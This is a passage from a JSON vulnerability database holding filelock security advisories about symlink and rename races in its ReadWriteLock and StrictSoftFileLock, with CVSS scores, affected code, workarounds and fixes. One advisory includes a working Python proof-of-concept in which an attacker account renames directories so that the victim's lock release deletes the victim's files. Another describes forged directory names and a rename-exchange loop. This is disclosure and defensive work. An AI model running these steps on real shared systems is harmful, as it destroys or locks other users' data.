write.\n3. With `/shared/cache.rwlock.db -> /shared/a.db`, one victim process holds the write lock. The attacker repoints the link to `/shared/b.db`, and a second victim process acquires the write lock while the first still holds it.\n\nThe same behavior reproduces on macOS, on Windows 11, and through `AsyncReadWriteLock`.\n\n### Impact\n\nA local attacker with write access to the lock directory can make the victim create empty files it owns at paths the attacker cannot write, make the victim hold a SQLite lock on another application's database so that application gets `database is locked`, and give two victim processes the write lock at once, letting them corrupt the resource the lock protects.\n\n### Workarounds\n\nKeep `ReadWriteLock` paths in directories that only trusted users can write.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L"}],"references":[{"type":"WEB","url":"https://github.com/tox-dev/filelock/security/advisories/GHSA-j8f7-rjxc-mr56"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-112936"},{"type":"WEB","url":"https://github.com/tox-dev/filelock/commit/4d45e83caf7e31f9a12fb44526bdc07f70114f04"},{"type":"PACKAGE","url":"https://github.com/tox-dev/filelock"},{"type":"WEB","url":"https://github.com/tox-dev/filelock/releases/tag/4.0.9"}]},{"schema_version":"1.7.3","id":"BREW-apm-CVE-2026-112937","published":"2026-10-29T21:30:32Z","modified":"2026-11-14T08:38:10Z","upstream":["GHSA-jqc4-5cvw-7w85","CVE-2026-112937"],"affected":[{"package":{"ecosystem":"Homebrew","name":"apm","purl":"pkg:brew/apm"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.33.0"},{"fixed":"0.34.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"4.2.1","resource":"filelock","resource_purl":"pkg:pypi/filelock@4.2.10"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"filelock","subject_version":"4.2.10","key":"pkg:pypi/filelock@4.2.10","resource":"filelock"}]},"summary":"filelock: ReadWriteLock on the hard-link route deletes any directory another user renames onto its .filelock-* link directory name","details":"`ReadWriteLock` and `AsyncReadWriteLock` (the SQLite-backed reader/writer lock) remove their private `.filelock-*` link directories with `shutil.rmtree` (a recursive delete) on a remembered path. They do not check that the path still names the directory they created. This happens on the hard-link route (a hard link is a second name for the same file). That route is every connection on macOS since 4.1.1 and any POSIX process without a usable `/proc/self/fd` (a Linux path that names the process's own open files), such as a chroot or container that does not mount `/proc`.\n\nAnother local user who can rename entries in the directory that holds the lock database can rename one of the directories of the user running the lock (below: the lock user) onto the link directory's name, or onto a forged dead-holder name. Such a lock directory is a `0777` or group-writable cache, build or project directory without the sticky bit (a directory flag that lets only a file's owner remove or rename it). The lock user's process then deletes that tree and everything in it with the lock user's permissions, and reports no error. Stock Linux with `/proc` mounted is not affected. Affected versions are filelock 4.1.0 through 4.2.0.\n\nAnthropic's OSS Scanner reported this in private as `ANT-2026-LSSZIUEO` [high, CWE-367]: ReadWriteLock deletes any directory another user renames to .filelock-*.\n\n## Severity\n\n**CVSS 3.1 `CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L` scores 6.1 (Medium).** `AV:L` (local): the other user needs an account on the same host. `PR:L` (low privileges): an ordinary account is enough. `UI:N` (no user interaction). `AC:L` (low attack complexity): two `rename` calls and no race against filelock's own code. `I:H` (high integrity impact): the other user destroys a directory tree owned by the lock user, and the lock user's program reports no error. `A:L` (partial availability loss): the Python 3.11 `RecursionError` variant makes the lock user's first lock construction fail. `C:N` (no confidentiality impact): the other user learns nothing. `S:U` (scope unchanged): the effect stays within the lock user's own privileges.\n\nClassification from the external review: **conditional security**, a cross-user rename in a non-sticky shared parent that turns private-link cleanup into recursive deletion of the lock user's tree. The scanner rated it high. The review accepts the mechanism, notes that the macOS route rests on a Linux run with `/proc` hidden rather than on a run on macOS, and narrows the finding to that precondition and route.\n\n## Scope and preconditions\n\n- The other party is a different local account with write permission on the directory that holds the lock database, where that directory has no sticky bit. That is a `0777` directory, or a group-writable one (in a setgid `2775` directory a group member can rename the lock user's sub-directory the same way). Renaming an entry needs write permission on the parent only, not on the entry. Anyone who can write the parent can rename a `0700` directory of the lock user.\n- Sticky directories (`/tmp` itself, any `1777` directory) stop the release variant: the rename of an entry owned by the lock user fails with `EPERM`. The dead-owner sweep still reaches a lock user's tree that sits inside a directory the other account owns there. That account may rename its own directory to a forged dead-owner name, and the lock user's sweep deletes everything inside it. The Python 3.11 `RecursionError` variant also works in a sticky directory.\n- Platform and route. The lock user must connect through the private hard link. That is every `ReadWriteLock` or `AsyncReadWriteLock` on macOS (since 4.1.1, #820), or a POSIX process whose `/proc/self/fd/<n>` (`/dev/fd/<n>` elsewhere) does not exist, such as a chroot or container without `/proc`. Linux with `/proc` mounted connects through the descriptor and creates no `.filelock-*` directory (checked: none appears, also with two holders in one process), so stock Linux is not affected at 4.2.0. The macOS statement rests on the `descriptor_usable` branch at line 984 and `docs/how-to.rst`. The reproducer runs the same Python code on Linux with `/proc` hidden, which takes root and is test scaffolding, not a step the other user performs. Windows does not take this route.\n- Target set. Only directories that sit in the shared parent itself, or that the other account can already write, are reachable. The kernel refuses to move a `0700` directory of the lock user in from another parent. A tree the other account can already write (a group-writable project tree created with umask `002`) is no gain, since that account can delete it without filelock. A lock user running as root deletes a tree of any owner.\n- Ancestor boundary. Protection against another local user is possible only while no other user can replace the lock's directory or any of its ancestors. That holds when each ancestor belongs to the user or root and is either not writable by others or sticky.\n\n## Affected code\n\nAt the scanned commit `b831496b0273`: [`_ForkSafeConnection.close` runs `shutil.rmtree` on the remembered `mkdtemp` path](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_read_write.py#L290-L296). The path comes from [`retain_until_close`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_read_write.py#L305-L307), set on the [link route in `_connect_through_descriptor`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_read_write.py#L984-L1011), where [`descriptor_usable` is `False` on macOS](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_read_write.py#L984). Three more `rmtree` sites sit in [`_link_beside`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_read_write.py#L1014-L1029) (lines 1023 and 1026) and the connect's `finally` (line 1011). The fifth is in [`_sweep_links_of_the_dead`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_read_write.py#L1032-L1051), with the name parser [`_owner_is_gone`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_read_write.py#L1054-L1065) and [`_link_prefix`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_read_write.py#L1068-L1071).\n\n## Introduced\n\nThe link directory moved beside the database in `015d27c` (\"fix(read-write): reject WAL databases and link beside the db (#805)\"), and the dead-owner sweep came with `df06bbd` (#815). Both were first released in **4.1.0** (verified: `git tag --contains` gives 4.1.0 for both; 4.0.11 and 4.0.12 made the link in `TMPDIR`). macOS takes the link route for every connection since `5fd0c8f` (#820), first released in **4.1.1** (verified).\n\n## Mechanism\n\nWhen the lock connects through its private hard link, it disposes of `.filelock-*` directories with `shutil.rmtree` on a path. Nothing ties that path to the directory filelock created. `mkdtemp` makes the name unpredictable and the directory `0700`. The name is in the parent's listing as soon as it exists (`ls -a`), and renaming it needs write permission on the parent only. `0700` keeps the other user out of the directory; it does not stop a rename of the directory. There are two ways in, with the same preconditions.\n\n**On release.** A connection lives for one acquisition: `_open_for_acquisition` opens it and `release()` reaches `close` through `_release` and `_finish_connection`. The code trusts the path from the acquire to the release, for as long as the application keeps the lock. While the lock user holds `write_lock()` on `/tmp/shared-cache/cache.db`, the directory lists `.filelock-<pid>--<host digest>-<random>/` (`0700`, owned by the lock user, containing `lock.db`). The other user runs two renames: that directory to `moved-aside`, then `victim_project` (a `0700` directory of the lock user with `notes.txt` inside) onto the link directory's name. When the lock user leaves the `with` block, `rmtree` deletes `victim_project` and everything in it with the lock user's permissions, and the process exits with status 0. `moved-aside/lock.db`, the real link, stays behind as an extra hard link to the database. The constructor's validation connection (`ReadWriteLock.__init__` opens and closes one, creating and removing a link directory) and the three error-path removals trust the path the same way, with windows a few system calls long.\n\n**In the dead-owner sweep.** `_link_beside` calls `_sweep_links_of_the_dead(parent)` once per process and parent directory before `mkdtemp`. The first connect of every process on the link route runs it, the validation connection included. It runs `rmtree` on every `.filelock-*` directory whose name parses as a dead owner's. It checks neither the directory's owner, nor its mode, nor whether it holds only `lock.db`. `_owner_is_gone` splits the name after `.filelock-` into `pid`, `start`, `digest` (a hash of the host name) and a suffix. It returns `digest == _host_digest(host) and owner_is_stale(pid, host, start or None)`.\n\nThe other user can forge every field. Take `.filelock-2147483647--<digest>-x`. `pid` is the largest value the #821 range check accepts and above the PID limit of Linux and macOS, so `process_alive` gets `ESRCH` from `os.kill(pid, 0)`; the PID of any exited process, such as a child the other user just reaped, passes as well. `start` is empty, which the parser accepts because `_link_prefix` writes an empty field when it has no start token; with no token and a dead PID `owner_is_stale` returns `True`. `digest` is `sha256(host_name())[:16]`. `host_name()` adds a PID-namespace tag only when `/proc/self/ns/pid` is readable, which it is not on macOS or without `/proc`, so any local user can compute the digest, and it is in the name of every link directory the lock user creates. The parser does not look at the suffix.\n\nOne `rename(\"victim_project\", \".filelock-2147483647--<digest>-x\")` at any time, with no lock held, gets the tree deleted the next time any lock user process on the link route constructs a lock in that directory (a cron job, a CI step, a service restart). #821 made the parser reject non-ASCII digits and out-of-range PIDs; a well-formed name for a PID that is not running still selects the directory for removal.\n\nThe sweep's `rmtree` has a smaller effect that needs no lock user tree and works in a sticky directory, on Python 3.11, where `shutil.rmtree` recurses once per directory level. The other user creates a directory of their own under a forged dead-owner name in a `1777` directory, with 1500 nested subdirectories inside. The first `ReadWriteLock(...)` a lock user process on the link route constructs there raises `RecursionError`, which the `suppress(OSError)` at line 1050 does not catch. A second attempt in the same process skips the sweep and succeeds. Python 3.14 walks the same tree without an error.\n\n## Reproduction\n\nThe scanner's reproducer for `ANT-2026-LSSZIUEO`, quoted as received. It ran against commit `b831496b0273`.\n\n**`repro`**\n\n```python\n#!/usr/bin/env python3\nimport os\nimport shutil\nimport subprocess\nimport sys\n\nshared = \"/tmp/shared-cache\"\nproject = f\"{shared}/victim_project\"\n\n# ReadWriteLock takes the hard-link route (.filelock-* directory beside the database) on macOS, and elsewhere when\n# /proc/self/fd/<n> is unusable. An empty /proc in a private mount namespace puts unmodified filelock on that route.\nos.unshare(os.CLONE_NEWNS)\nsubprocess.run([\"mount\", \"--make-rprivate\", \"/\"], check=True)\nsubprocess.run([\"mount\", \"-t\", \"tmpfs\", \"tmpfs\", \"/proc\"], check=True)\n\n# set up: a shared directory without the sticky bit, holding the victim's private tree\nshutil.rmtree(shared, ignore_errors=True)\nos.mkdir(shared)\nos.chmod(shared, 0o777)\nos.mkdir(project, 0o700)\nwith open(f\"{project}/notes.txt\", \"w\") as notes_file:\n    notes_file.write(\"victim data\\n\")\nshutil.chown(f\"{project}/notes.txt\", \"victim\", \"victim\")\nshutil.chown(project, \"victim\", \"victim\")\n\nrm = subprocess.run([\"runuser\", \"-u\", \"attacker\", \"--\", \"rm\", \"-rf\", project], capture_output=True, text=True)\nprint(\"attacker runs rm -rf on the victim's tree:\", rm.stderr.strip())\nassert os.path.exists(f\"{project}/notes.txt\"), \"setup: the attacker could delete the tree without filelock\"\n\n# the victim takes the write lock and stays in its critical section\nvictim = subprocess.Popen(\n    [\"runuser\", \"-u\", \"victim\", \"--\", sys.executable, \"/tmp/repro.d/victim_hold_write_lock.py\"],\n    stdin=subprocess.PIPE,\n    stdout=subprocess.PIPE,\n    text=True,\n)\nassert victim.stdout.readline() == \"holding the write lock\\n\", \"setup: the victim did not take the lock\"\nprint(\"while the victim holds the lock:\", sorted(os.listdir(shared)))\n\n# attack\nsubprocess.run([\"runuser\", \"-u\", \"attacker\", \"--\", sys.executable, \"/tmp/repro.d/attacker_swap_link_dir.py\"], check=True)\nlink_dir = next(name for name in os.listdir(shared) if name.startswith(\".filelock-\"))\nnotes = f\"{shared}/{link_dir}/notes.txt\"\nprint(\"after the attacker's renames:\", sorted(os.listdir(shared)))\nprint(f\"{notes} exists:\", os.path.exists(notes))\nassert os.path.exists(notes), \"setup: the attacker's renames did not happen\"\n\n# the victim leaves its with block\nvictim.communicate(\"\\n\", timeout=30)\nprint(\"victim exit status:\", victim.returncode)\nprint(\"after the release:\", sorted(os.listdir(shared)))\nprint(f\"{notes} exists:\", os.path.exists(notes))\n\n# check: releasing a lock must not delete the victim's files\nprint(\"BUG\" if not os.path.exists(notes) else \"OK\")\n```\n\n**`repro.d/attacker_swap_link_dir.py`**\n\n```python\nimport os\n\nshared = \"/tmp/shared-cache\"\n\n# both directories are 0700 and owned by victim; renaming them needs write permission on the parent only\nlink_dir = next(name for name in os.listdir(shared) if name.startswith(\".filelock-\"))\nos.rename(f\"{shared}/{link_dir}\", f\"{shared}/moved-aside\")\nos.rename(f\"{shared}/victim_project\", f\"{shared}/{link_dir}\")\n```\n\n**`repro.d/victim_hold_write_lock.py`**\n\n```python\nimport sys\n\nfrom filelock import ReadWriteLock\n\nlock = ReadWriteLock(\"/tmp/shared-cache/cache.db\")\nwith lock.write_lock():\n    print(\"holding the write lock\", flush=True)\n    sys.stdin.readline()  # stands for the work the lock protects; it ends when repro sends a line\n```\n\n## Attack sequence\n\n```mermaid\nsequenceDiagram\n    participant A as other local user\n    participant V as lock user's process (link route)\n    participant K as filesystem (parent 0777, no sticky bit)\n    rect rgb(255, 214, 214)\n        Note over A,K: filelock 4.1.0 to 4.2.0 on macOS, or POSIX without /proc\n        V->>K: mkdtemp(.filelock-PID--DIGEST-XXXX) mode 0700, link cache.db inside as lock.db\n        V->>K: BEGIN EXCLUSIVE, write lock held\n        A->>K: rename(.filelock-PID--DIGEST-XXXX, moved-aside)\n        A->>K: rename(victim_project, .filelock-PID--DIGEST-XXXX)\n        V->>K: release() calls shutil.rmtree(\".filelock-PID--DIGEST-XXXX\")\n        Note over V,K: victim_project and notes.txt are gone, exit status 0, moved-aside/lock.db stays\n        A->>K: later, with no lock held, rename(any directory, .filelock-2147483647--DIGEST-x)\n        V->>K: next ReadWriteLock(...) in that directory sweeps dead owners by name and rmtree's the forged one\n    end\n```\n\n## Evidence\n\nThe scanner's reproducer needs no race. It enters a private mount namespace and mounts an empty tmpfs over `/proc` for itself and its children (the only non-default condition, standing in for macOS). It creates `/tmp/shared-cache` (`0777`, no sticky bit) with `victim_project/notes.txt` (`0700`, owned by `victim`), shows that `rm -rf` on that tree as `attacker` fails with `Permission denied`, runs the `victim` program (`ReadWriteLock(\"/tmp/shared-cache/cache.db\")` + `with lock.write_lock():`) and the `attacker` renames, then lets the `victim` program release. Expected output on the scanned commit:\n\n```\nattacker runs rm -rf on the victim's tree: rm: cannot remove '/tmp/shared-cache/victim_project': Permission denied\nwhile the victim holds the lock: ['.filelock-106--39c81e1bf87b1d56-os_58i3c', 'cache.db', 'victim_project']\nafter the attacker's renames: ['.filelock-106--39c81e1bf87b1d56-os_58i3c', 'cache.db', 'moved-aside']\n/tmp/shared-cache/.filelock-106--39c81e1bf87b1d56-os_58i3c/notes.txt exists: True\nvictim exit status: 0\nafter the release: ['cache.db', 'moved-aside']\n/tmp/shared-cache/.filelock-106--39c81e1bf87b1d56-os_58i3c/notes.txt exists: False\nBUG\n```\n\nThe scanner showed the sweep variant by hand with the same setup and no lock held. As `attacker`, one rename of `victim_project` to `.filelock-2147483647--<digest>-x` with `<digest> = hashlib.sha256(socket.gethostname().encode()).hexdigest()[:16]`, then `ReadWriteLock(\"/tmp/shared-cache/cache.db\")` as `victim` with `/proc` hidden. `notes.txt` is gone after the constructor returns and the directory contains only `cache.db`.\n\nOur verification: `BUG` on `b831496` and on the 4.2.0 image (`e2e7d70`). On the PR #834 head: `OK`; the listing after the release is `['.filelock-12--4fd1986a778d5977-amfxfd9k', 'cache.db', 'moved-aside']`, `notes.txt exists: True`, and the `victim` program exits 0. Neither the scanner nor the review executed on macOS; the macOS claim rests on the `descriptor_usable` branch and the identical code after it.\n\n## Impact\n\nThe other user chooses any directory that sits in the shared parent, and the lock user's process deletes it and everything in it with the lock user's permissions and no error; the lock user's program reports success. Without filelock that user can rename such a directory but cannot remove a non-empty one whose contents they have no permission on. With filelock the lock user's process destroys the contents. The release variant needs two `rename` calls at any point while the lock user holds the lock and wins no race against filelock's own code. The sweep variant needs one rename and no held lock, and fires on the next lock construction by any lock user process in that directory. The real link directory stays under its new name with an extra hard link to the database.\n\nIt is **not** reachable on stock Linux with `/proc` mounted at 4.2.0. The release variant is **not** reachable in a sticky directory. This is the same position as in GHSA-j8f7-rjxc-mr56 (a user who can change names in a shared lock directory). Here the name is the derived `.filelock-*` directory rather than the database, and the redirected operation is a recursive delete.\n\n## Workarounds\n\n- On macOS, and on any POSIX system where `/proc/self/fd` is unavailable, keep the `ReadWriteLock` database in a directory that only the locking account (or root) can write, with no group or other write bit. Make sure every ancestor belongs to that account or root and is either not writable by others or sticky. Do not share one `ReadWriteLock` database between accounts through a `0777` or group-writable directory.\n- Do not keep other directories of value beside a lock database in a directory other accounts can write; the deletion targets are siblings of the database.\n- On Linux with `/proc` mounted, 4.2.0 does not take the link route and needs no workaround for this finding.\n\n## Patched version\n\n4.2.1.\n\nFix: https://github.com/tox-dev/filelock/pull/834\n\n## Credits\n\nReported by Anthropic's OSS Scanner (automated analysis), 15 October 2026; reviewed by the maintainers.\n\n- 2026-10-15 23:08 UTC: report received (scan `filelock-20261015-005` of commit `b831496b0273`)\n- 2026-10-16 05:38 UTC: draft advisory GHSA-v4x8-3wr5-3wq8 created for the group; this per-finding draft split out of it\n- 2026-10-16 01:15 UTC: fix PR #834 opened","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L"}],"references":[{"type":"WEB","url":"https://github.com/tox-dev/filelock/security/advisories/GHSA-jqc4-5cvw-7w85"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-112937"},{"type":"WEB","url":"https://github.com/tox-dev/filelock/pull/834"},{"type":"WEB","url":"https://github.com/tox-dev/filelock/commit/5e3f2ec0c5fb17cb2635b60b2b68bc63ab81ca2d"},{"type":"PACKAGE","url":"https://github.com/tox-dev/filelock"},{"type":"WEB","url":"https://github.com/tox-dev/filelock/releases/tag/4.2.1"}]},{"schema_version":"1.7.3","id":"BREW-apm-CVE-2026-112938","published":"2026-10-29T21:30:32Z","modified":"2026-11-14T08:38:10Z","upstream":["GHSA-m462-7rxw-wvpg","CVE-2026-112938"],"affected":[{"package":{"ecosystem":"Homebrew","name":"apm","purl":"pkg:brew/apm"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.26.0"},{"fixed":"0.34.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"4.2.1","resource":"filelock","resource_purl":"pkg:pypi/filelock@4.2.10"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"filelock","subject_version":"4.2.10","key":"pkg:pypi/filelock@4.2.10","resource":"filelock"}]},"summary":"filelock: StrictSoftFileLock follows a symbolic link swapped in at <path>.filelock and creates claim files in a directory another local user chooses","details":"`StrictSoftFileLock` and `AsyncStrictSoftFileLock` check `<path>.filelock` (the coordination directory that holds the lock's state) with one `lstat` call on its name. `lstat` reports what a name is without following a symbolic link (a file that redirects to another path). After that check, the code reaches `<path>.filelock/claims` by pathname for every later operation (`mkdir`, scan, publish, link, unlink). `_open_directory` passes `O_NOFOLLOW` (a flag that makes an open fail when the final name is a symbolic link), but the flag covers only the final `claims` component. The kernel follows a symbolic link in any earlier component.\n\nAnother local user (the other user below) who can rename `<path>.filelock` exchanges it for a symbolic link after the check. In a shared directory without the sticky bit (a directory flag that lets only a file's owner rename or remove it), any user with write access can do this. Where the shared directory is sticky, such as `/tmp`, only the user who created `<path>.filelock` before the user running the lock (the lock user below) first used it can. The lock user's process (root's, if root takes the lock) then creates a `claims` directory and claim files (the files whose presence says a process wants or holds the lock) inside a directory the other user chooses but only the lock user can write.\n\nWhen the link points at another strict lock's `.filelock` directory, the stranded claims make that lock time out for every process until an operator finds and force-breaks each one. The `claims` property and `force_break()` resolve the same path with no check at all. Affected versions: filelock >= 3.30.0 and <= 4.2.0 (finding `ANT-2026-SVFEYX89`).\n\n## Severity\n\n**CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:H, 5.8 (Medium).**\n\n`AV:L` (local): the other user needs an account on the same host. `AC:H` (high attack complexity): the swap must land between the `lstat` and the next `mkdir`. The other user does not aim at that window. It flips the name in a loop with `renameat2(RENAME_EXCHANGE)` (a system call that swaps two names in one step) across repeated acquires, and won after 1 to 31 runs of the lock user's program in the scanner's trials. A sticky directory also requires it to have created `<path>.filelock` first. `PR:L` (low privileges): an unprivileged account is enough. `UI:N` (no user interaction): the lock user's process acts on its own.\n\n`C:L` (low confidentiality impact): through `claims`, one file name per planted link from a directory only the lock user can list. `I:L` (low integrity impact): a directory named `claims` and files with filelock's fixed claim names and contents appear, created with the lock user's privileges, in a directory the other user chooses but cannot write. The process overwrites or truncates nothing that exists. `A:H` (high availability impact): aimed at another strict lock of the lock user, the stranded claims deny that lock to every process until an operator finds and force-breaks each one. Classification from the review: security, conditional on the other user being able to rename the intermediate component. The scanner rated it high (CWE-363).\n\n## Scope and preconditions\n\n- The other user can rename `<path>.filelock`. In a writable directory without the sticky bit (a `0777` or group-writable project or cache directory), any user with write permission on the directory can, even though the lock user created and owns `<path>.filelock`. In a sticky directory such as `/tmp`, only the user who created `<path>.filelock` before the lock user's first use can, because that user then owns both the directory and the symbolic link (the planting precondition of GHSA-9c4x-gm8v-wgc4).\n- The link's target is a directory the lock user can write. The effect that matters is on that directory. An acquire that completes through the link also holds the shared lock with its claims elsewhere, but a user who can rename `<path>.filelock` can defeat that lock's exclusion anyway.\n- `fs.protected_symlinks=1` (a Linux setting that refuses to follow another user's symbolic link in a world-writable sticky directory) does not interfere. The link is an intermediate path component, not the last one. In the sticky-directory case it also sits in a directory the other user owns.\n- Missed attempts show up to the lock user as `SoftFileLockProtocolError` or `FileNotFoundError`. The swap therefore works against a lock that a program takes more than once: a periodic job, a worker pool, or a caller that retries or waits with a timeout (each poll of a waiting acquisition is a new attempt).\n- The two entry points that need no race (`claims` and `force_break()` on a resting symbolic link) depend on the lock user inspecting or recovering the lock. The planted link invites this by making `acquire()` fail with a protocol error. The `force_break()` variant works only when the lock user breaks claims that name a live process on its own host without checking them first, as the recovery loop in `docs/tutorials.rst` does. `docs/how-to.rst` tells the operator to verify that the named owner is gone before breaking.\n- Platform: POSIX, demonstrated on Linux (tmpfs and overlayfs). Windows has no `dir_fd` (file operations relative to an open directory handle), and on Windows the documented requirement is a lock directory that untrusted users cannot write.\n\nfilelock's checks against another local user hold only when no other user can replace the lock's directory or any of its ancestors. That is the case when each ancestor belongs to the lock user or root and is either not writable by others or sticky. A user who can rename entries in a non-sticky directory above the lock controls every name below it. No file-based lock can defend against that.\n\n## Affected code\n\nAt the scanned commit b831496, the check and the first use are adjacent lines of [`StrictSoftFileLock._acquire`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_strict.py#L123-L128). There, [`_ensure_protocol_directory`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_strict.py#L996-L1006) runs `lstat` on `<path>.filelock` and then `mkdir` on `<path>.filelock/claims`. [`_open_directory`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_strict.py#L950-L954) passes `O_DIRECTORY | O_NOFOLLOW` but receives the full `<path>.filelock/claims`. The claim scan goes by pathname in [`_read_existing_claims`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_strict.py#L509-L514) (`directory.exists()`) and [`_list_claim_names`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_strict.py#L433-L439) (`os.scandir(directory)`). So do [`_publish_record`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_strict.py#L572-L596), [`_link_no_replace`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_strict.py#L864-L881), [`_unlink_in_directory`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_strict.py#L912-L939) and the clock probe in [`_filesystem_now`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_strict.py#L745-L763). The [`claims` property](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_strict.py#L235-L239) and [`force_break()`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_strict.py#L260-L267) take the directory from [`_claim_directory`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_strict.py#L314-L318) by string concatenation, and [`_require_exact_name`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_strict.py#L1016-L1019) confirms the name with a by-name `os.scandir`.\n\n## Introduced\n\nThe by-name claim directory came with 650c17c79c54 (\"feat(strict): replace shared markers with owner claims\", #659, 2026-07-14), first released in 3.30.0. One effect is newer. The clock-probe files that a swap at `claims` leaves behind need `_filesystem_now`, added in 508d0548538f (\"fix(strict): age private records by the filesystem clock\", #792, 2026-10-07), first released in 4.1.0. Before that commit a claim scan created nothing. We checked both against the git tags.\n\n## Mechanism\n\nOn the benign path, `_ensure_protocol_directory(coordination_directory)` finds `<path>.filelock` to be a real directory, and `_ensure_protocol_directory(claim_directory)` finds `claims` inside it. The doorway (the acquire step that scans existing claims and publishes the caller's own) then publishes into it. A symbolic link resting at `<path>.filelock` stops at the first call with \"is not a real directory\". That answer describes the name at that instant only; nothing carries it forward. With the name exchanged for a link to a directory `T` between the two calls:\n\n- The second call runs `mkdir(\"<path>.filelock/claims\")`, which creates `T/claims` with the lock user's credentials. The `mkdir` succeeds, so `_ensure_protocol_directory` returns without looking at anything.\n- `_attempt_doorway` then works in `T/claims` for as long as the name still points there. `_read_existing_claims` uses `directory.exists()` and `os.scandir(directory)`. `_publish_record` opens the claim directory by its full path and creates `.intent-v1-<token>.claim.private-v1-<hex>.tmp` and `intent-v1-<token>.claim` (the intent claim, which announces a pending acquire) in it. When its intent wins the scan, `_link_no_replace` adds `held-v1-<token>.claim` (the held claim, which marks the lock as taken). `_open_directory` does pass `O_DIRECTORY | O_NOFOLLOW`, but on `\"<path>.filelock/claims\"`, so the flag covers `claims` only.\n- Cleanup resolves the name again. `_unlink_in_directory` opens `<path>.filelock/claims` by path. When the name is back at the real directory by then, the `unlink` gets `ENOENT` (the \"no such file\" error), which `_unlink_owner_path_result` counts as removed. The claim file stays in `T/claims`.\n\nWhen `T/claims` already exists, the `mkdir` takes the `FileExistsError` branch, `lstat` sees a real directory, and the same scan and publication run on the existing directory. With `T/claims` holding a file `secret-name.txt` and an old `.held-v1-<hex>.claim.private-v1-<hex>.tmp`, the lock user's process raises `SoftFileLockProtocolError: … claim 'secret-name.txt': unknown claim name or protocol version`. `_reclaim_private_record` unlinks the private-record file. `intent-*.claim` files and a clock-probe file from `_filesystem_now` stay behind.\n\nThe window is a few lines of Python between two system calls, but the other user does not aim at it. `renameat2` with `RENAME_EXCHANGE` flips the name in a loop, so each system call of the lock user sees the directory or the link more or less at random. An attempt that sees the link at the `lstat` raises `SoftFileLockProtocolError`. One that sees the directory there and the link at the next `mkdir` is a hit. Four other ways reach the same by-name resolution. The scanner observed each of them at the same commit, with `victim` and `attacker` as separate accounts and default lock options.\n\nThe first way strands claims in another strict lock. With the swapped-in link pointing at the coordination directory of a second lock of the lock user (`/home/victim/private/db.lock.filelock`, parent mode `0700`), 200 acquires of the shared lock left 7 to 17 well-formed `intent-v1-*.claim` and `held-v1-*.claim` files in the second lock's `claims`. No process holds that lock, yet `StrictSoftFileLock(\"/home/victim/private/db.lock\", timeout=1)` raises `Timeout` from then on, until an operator force-breaks each stranded claim.\n\nThe second way swaps one component lower, at `claims`. The claim scan does not use a descriptor (an open handle that stays bound to one directory whatever its name later points to). `os.scandir(directory)`, the record reads, `_reclaim_private_record` (called with its descriptor slot set to `None`) and the clock probe in `_filesystem_now` (`os.open(directory / name, O_CREAT | O_EXCL | O_NOFOLLOW)` followed by `probe.unlink()`) all go by pathname. For a sticky directory, the other user needs to have created `<path>.filelock` first. It then puts a real `claims` directory (mode `1777`) in it with one empty file named `.held-v1-<32 zeros>.claim.private-v1-<32 zeros>.tmp`, so that every scan calls the probe, and exchanges `claims` with a link in a loop.\n\nAfter 200 acquires by the lock user, 14 to 42 one-byte, mode `0600`, lock-user-owned files named `.held-v1-<hex>.claim.private-v1-<hex>.tmp` are in the `0700` directory the link points to. The probe open went through the link, and the pathname `unlink` ran after `claims` was a directory again and got `ENOENT`. A swap at this level does not affect publication or release, because there `_open_directory`'s `O_NOFOLLOW` does cover `claims`.\n\nThe third way is `claims` with no race. The property calls 